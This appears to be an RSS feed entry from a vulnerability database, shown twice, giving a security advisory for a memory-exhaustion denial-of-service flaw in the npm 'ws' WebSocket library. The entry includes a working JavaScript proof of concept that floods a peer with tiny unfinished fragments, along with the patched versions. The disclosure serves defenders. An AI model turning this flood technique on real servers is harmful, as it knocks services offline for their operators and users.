https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 10 Nov 2026 12:05:10 +0000 https://db.gcve.eu/vuln/ghsa-96hv-2xvq-fx4p <p><strong>Affected:</strong> npm: ws</p> <p>### Impact</p> <p>A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.</p> <p>### Proof of concept</p> <p>```js import { WebSocket, WebSocketServer } from &#39;ws&#39;;</p> <p>const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`);</p> <p>ws.on(&#39;open&#39;, function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); });</p> <p>ws.on(&#39;error&#39;, console.error); ws.on(&#39;close&#39;, function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); });</p> <p>wss.on(&#39;connection&#39;, function (ws) { ws.on(&#39;error&#39;, console.error); ws.on(&#39;close&#39;, function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ```</p> <p>### Patches</p> <p>The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws…</p> <p><strong>Affected:</strong> npm: ws</p> <p>### Impact</p> <p>A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.</p> <p>### Proof of concept</p> <p>```js import { WebSocket, WebSocketServer } from &#39;ws&#39;;</p> <p>const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`);</p> <p>ws.on(&#39;open&#39;, function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); });</p> <p>ws.on(&#39;error&#39;, console.error); ws.on(&#39;close&#39;, function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); });</p> <p>wss.on(&#39;connection&#39;, function (ws) { ws.on(&#39;error&#39;, console.error); ws.on(&#39;close&#39;, function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ```</p> <p>### Patches</p> <p>The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws…</p> https://db.gcve.eu/vuln/ghsa-96hv-2xvq-fx4p